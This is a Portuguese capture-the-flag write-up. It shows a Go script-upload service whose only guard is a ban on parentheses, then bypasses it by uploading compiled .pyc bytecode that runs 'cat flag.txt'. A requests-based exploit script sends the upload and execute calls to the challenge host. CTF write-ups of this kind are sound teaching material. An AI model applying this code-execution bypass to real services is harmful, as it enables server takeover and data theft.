Após uma verificação do time de profissionais appsec da boitatech, chegamos na conclusão que o código feito pelo luskabol tá seguro! Já que você é um hacker trevoso do underground, você pode verificar se tem como pwnear a nossa aplicação?
BOITA{BR0_WTF_tH3R3_1S_4_W4Y_T0_ExECVt3_pytHoN_with0u7_p4r3nth3s1s?}

O desafio nos fornece um código backend de uma aplicação em Go.

package main
 
import (
    "fmt"
    "github.com/gin-gonic/gin"
    "path"
    "net/http"
    "io/ioutil"
    "os"
    "os/exec"
    "strings"
)
 
func createScriptsFolder() {
    // create a folder called scripts
    // if it already exists, do nothing
    if _, err := os.Stat("./scripts"); os.IsNotExist(err) {
        os.Mkdir("./scripts", 0777)
    }
    return
}
 
func saveScript(c *gin.Context) {
    scriptBody := c.PostForm("scriptBody")
    // Remove the parenthesis from the script, this is a security measure
    if strings.Contains(scriptBody, "("){
        c.String(http.StatusOK, "The script contains parenthesis")
        return
    }
 
    scriptName := c.PostForm("scriptName")
    ioutil.WriteFile("./scripts/" + path.Join("/", scriptName + ".py"), []byte(scriptBody), 0777)
 
    return
 
}
 
func getScript(c *gin.Context) {
    scriptName := c.Query("script")
 
    if scriptName == "" {
        c.String(http.StatusOK, "No script name was provided")
        return
    }
 
    script, err := ioutil.ReadFile("./scripts/" + path.Join("/", scriptName + ".py"))
    if err != nil {
        fmt.Println(err)
        return
    }
 
    c.String(http.StatusOK, string(script))
    return
 
}
 
func executeScript(c *gin.Context) {
    scriptName := c.Query("script")
 
    if scriptName == "" {
        c.String(http.StatusOK, "No script name was provided")
        return
    }
 
    cmd := exec.Command("python3", "./scripts/" + path.Join("/", scriptName + ".py"))
    stdout, err := cmd.Output()
    if err != nil {
        fmt.Println(err)
        return
 
    }
 
    c.String(http.StatusOK, string(stdout))
    return
 
}
 
func main() {
 
    r := gin.Default()
 
    // create the scripts folder
    createScriptsFolder()
 
    r.POST("/saveScript", saveScript)
 
    r.GET("/getScript", getScript)
 
    r.GET("/executeScript", executeScript)
 
    r.Run(":8080")
 
}

Em uma primeira análise, podemos podemos upar e executar códigos em Python. Entretanto, existe uma restrição POST pelo endpoint /saveScript, com os parâmetros scriptBody como o código Python em questão e scriptName como o nome do script que será salvo.

Entretanto, é possível perceber que o trecho de código,

// Remove the parenthesis from the script, this is a security measure
    if strings.Contains(scriptBody, "("){
        c.String(http.StatusOK, "The script contains parenthesis")
        return
    }

acaba por remover todos os parênteses do nosso script, o que torna a chamada de funções impossível. Entretanto, para contornar esse problema, é possível compilar um código Python, que não necessariamente possuí (. Construindo um script simples para conseguir a flag, podemos fazer algo do gênero:

import os 
 
os.system("cat flag.txt")

e compilar com o comando,

python3 -m compileall

geramos um binário do nosso script com uma extensão .pyc e, para executar, podemos utilizar o comando:

python3 compiled.pyc

Dessa forma, o script compilado será executado pelo Python. Entretanto, pode-se aparentar que temos que contornar o problema da sobrescrita de extensão ocasionada pelo trecho da API,

scriptName := c.PostForm("scriptName")
ioutil.WriteFile("./scripts/" + path.Join("/", scriptName + ".py"), []byte(scriptBody), 0777)

só que o Python não se comporta exatamente dessa maneira. O binário do Python executando o comando gerado pelo executeScript em

cmd := exec.Command("python3", "./scripts/" + path.Join("/", scriptName + ".py"))

irá interpretar somente a primeira extensão .pyc e ignorar completamente a extensão .py, assim, executando o nosso payload. Assim, podemos enviar o payload através do código abaixo:

import requests,random  
  
 
parameters = {  
	"scriptName": f"script{random.randint(1, 9999999)}.pyc",  
	"scriptBody": open("./bla", "rb").read()  
}  
  
print("ENVIANDO SCRIPT:")  
res = requests.post("https://python3-7jktu72cma-uc.a.run.app/saveScript", data=parameters)  
print(res.status_code)  
print("================")  
  
print("CHECANDO ENVIO SCRIPT:")  
res = requests.get("https://python3-7jktu72cma-uc.a.run.app/getScript?script="+parameters['scriptName'])  
print(res.text)  
print("================")  
  
print("CHECANDO EXECUÇÃO SCRIPT:")  
res = requests.get("https://python3-7jktu72cma-uc.a.run.app/executeScript?script="+parameters['scriptName'])  
print(res.text)  
print("================")

Ao final da execução, temos a flag.